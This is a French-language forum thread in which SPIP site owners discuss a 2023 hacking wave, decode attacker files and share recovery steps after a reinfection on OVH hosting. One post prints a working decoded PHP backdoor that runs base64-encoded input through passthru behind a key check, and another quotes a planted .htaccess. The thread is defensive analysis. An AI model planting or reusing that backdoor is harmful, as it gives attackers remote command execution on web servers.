Alerte : vague de piratage de sites depuis le 23 avril 2023 : pas d’accès à /ecrire (version SPIP inférieures à 3.2.18, 4.1.8 et 4.2.1)

Général
#41

Bonjour, pour décoder des scripts PHP douteux vous pouvez utiliser le site UnPHP - The Online PHP Decoder. Le code donné en 3. par exemple est :

$k=false;
if(isset($_GET['k'])) {
   $k=$_GET['k'];
}
if($k &&(($c=@file_get_contents('php://input'))!=='') {
   if((@md5(base64_decode($k))==='e75acb27171300d9b9470c44ec4c1fc6')&&(($s=base64_decode($c))!==FALSE)) {
      echo '#!#';@passthru($s);echo '#$#';
   }
}

Soit un moyen de récupèrer le contenu de php://input si une clé prédéfinie est passée par le pirate en paramètre k

L’outil à ses limites, par exemple il n’arrive pas à décrypter le code donné en 2.

#42

Oups, je n’avais pas vu que le premier extrait de code avait déjà été décrypté par d’autres utilisateurs/utilisatrices du forum :smile:

#43

Il est toujours un peu dommage de publier du code qui sert à faire planter des sites, nop ?

#44

Pas tant que ça @touti il y a déjà plein de rootkits dispos publiquement sur le web :slight_smile:

C’est plutôt la diffusion publique de l’exploitation des failles qui peut porter préjudice.

1 « J'aime »
#45

Ok @b_b recopier en publiant ici le contenu de fichiers inconnus trouvés sur son site est donc une bonne idée ?

#46

Ni bonne, ni mauvaise amha :slight_smile:

#47

Hello,

Je viens d’être victime d’une attaque sur l’un de mes SPIP hébergés chez OVH. Symptôme : site inaccessible, et sur le serveur une tentative d’installation de worpress, pas terminée. Par deux fois, j’ai remis le site en état par la réinstallation de la sauvegarde automatique d’OVH (base MySQL + fichiers), et c’est revenu.

Il y avait visiblement récupération du mot de passe Etait-ce dans le fichier config.php ? J’ai craint un keylogger sur ma machine du boulot (qui passe par les Fenêtres), mais après la première récidive j’ai changé le mdp depuis mon Mageia Linux à jour, j’ai été défacé une troisième fois.

Je ne suis pas du tout un bon technicien, et le service client d’OVH sur le coup m’a laissé tomber. Pas cool. J’en suis arrivé à devoir renommer le répertoire www en « poubelle », et réinstaller SPIP à blanc. J’ai à peu près tout récupéré, et supprimé un .htaccess de 420 octets qui était recopié dans tous les répertoires, dont je vous donne le contenu pour analyse :

Code suspect

<FilesMatch « .(py|exe|php)$ »>
Order allow,deny
Deny from all

<FilesMatch « ^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$ »>
Order allow,deny
Allow from all


RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

NB le site était à jour en SPIP 4.2.10, PHP 8.2, MySQL 5.3 ; aucune fonction interactive activée, et le seul plugin est le squelette de présentation ViaSPIP de JYGiraud.

#48

Est-ce que ça fait longtemps que le site était en 4.2 ?
Ou est-ce qu’il a été mis à jour après la vague d’attaques de mai/mars 2023, sans nettoyage en profondeur des fichiers ayant pu être déposés par les hackeurs et leur permettant de continuer à œuvrer ?

#49

Oui, la 4.2 peut-être pas immédiatement à sa publication, mais rapidement après. Ce qui avait pu me retenir à l’époque, c’était la non disponibilité du plugin NoSPAM, mais j’ai appris entretemps à retoucher les bornes de compatibilité, pour éviter de me retrouver avec un site bombardé de cochonneries parce que j’ai eu la bonne idée de me mettre à jour trop vite. Je fais toutes les màj mineures aussitôt que je les aperçois en bas de page.

Je n’avais pas été attaqué au premier semestre 2023, il ne s’était rien passé à l’époque. Ah, et MySQL c’est 5.7, j’ai mal retenu.

#50

Est ce que tu es sur un hébergement mutualisé? Car ce que tu subis là est une attaque sur des sites Wordpress à la base, mais si le serveur est compromis ton SPIP peut y passer aussi… Technical analysis of Wordpress hack with PHP script lock360.php as running process

Dans tous les cas, contacte OVH en leur disant que l’infection se recrée d’elle même, normalement ils devraient être en mesure de t’aider - ils ont l’habitude et c’est leur taf.
Sitôt après, tu peux envisager d’aller t’héberger ailleurs: comme tu l’as compris par toi même, le SAV chez OVH n’est pas leur priorité… Bon courage!

1 « J'aime »
#51

Je viens de lire plus en détail le lien que je t’ai donné, c’est techniquement très intéressant.

Dans ton cas, ce que tu dois retenir:

  • d’une manière ou d’une autre, tu as été infecté par un Wordpress pas à jour
  • vu que tu dis ne pas être bon technicien, il faut impérativement demander de l’aide au support car le malware est capable de se recréer tout seul et tu risques d’en laisser un bout si tu ne fais pas parfaitement les choses (la preuve, tu te fais réinfecter plusieurs fois de suite)
  • considère que le serveur sur lequel tu te trouves est compromis. Les attaquants ont installée un webshell dessus et ont pu avoir accès à toutes tes données
  • ce qui signifie que les accès à ta base de données ont aussi été compromis… (config/connect.php) et donc par extension que tous les comptes utilisateurs sur ton spip ont aussi fuité. Si tu avais des utilisateurs dessus, il faut les prévenir. Mais attention! Tant que tu n’es pas débarassé du malware, tu peux changer tes mdp autant de fois que tu veux ça ne serrvira à rien car les attaquants seront toujours chez eux… Il faut assainir le serveur PUIS changer tous les accès.

Si OVH te snobes, pars ailleurs avec:

  • une sauvegarde de ta BDD datant de AVANT l’infection
  • idem pour le code, un backup de AVANT la 1ère infection. Ne reprend pas le code depuis le serveur infecté, tu risquerai de transporter le virus avec toi
1 « J'aime »
#52

Bonjour

Tu as un script de contrôle si tu veux ; ça ne fait pas le café mais ça permet de faire un nettoyage des « évidences » :

Il faut avoir un accès de type ssh pour lancer le script. Il s’occupe de vérifier la présence de fichiers invalides et propose des actions correctives.

Note : Le .htacces indiqué n’est que la conséquence de l’exploitation d’une faille ailleurs.

#53

Pardon, je n’étais pas revenu ici pour donner un compte-rendu des opérations. Voilà comment j’ai procédé (sur un serveur mutualisé OVH à 60 € annuels, l’hébergeur m’a dit qu’il ne ferait rien) :

1- reprise de la sauvegarde BD MySQL, suppression manuelle de quelques tables qui n’avaient aucune raison d’être là et a priori typiques de WordPress
2- renommage du répertoire « www » en « poubelle »
3- réinstall de SPIP from scratch
4- reconstruction du lien entre ce SPIP propre dans un « www » propre et la base de données
5- vérification manuelle de l’ensemble des sous-répertoires de « IMG » de l’ancienne implémentation, suppression en particulier de tous les .htaccess qui s’y trouvaient
6- déplacement des contenus de « IMG »
7- après vérification d’un comportement sain et complet, suppression du répertoire « poubelle »

Hébin c’était quand même pas garanti pour un noob dans mon genre ! Mais comme personne ne m’avait dit que c’était impossible, je l’ai fait :sweat_smile:

Je ne vois Habsolument pas comment et pourquoi j’aurais jamais eu un WordPress dans ce serveur-là, je n’ai jamais utilisé ce logiciel, et suis fidèle à SPIP depuis 2004.

1 « J'aime »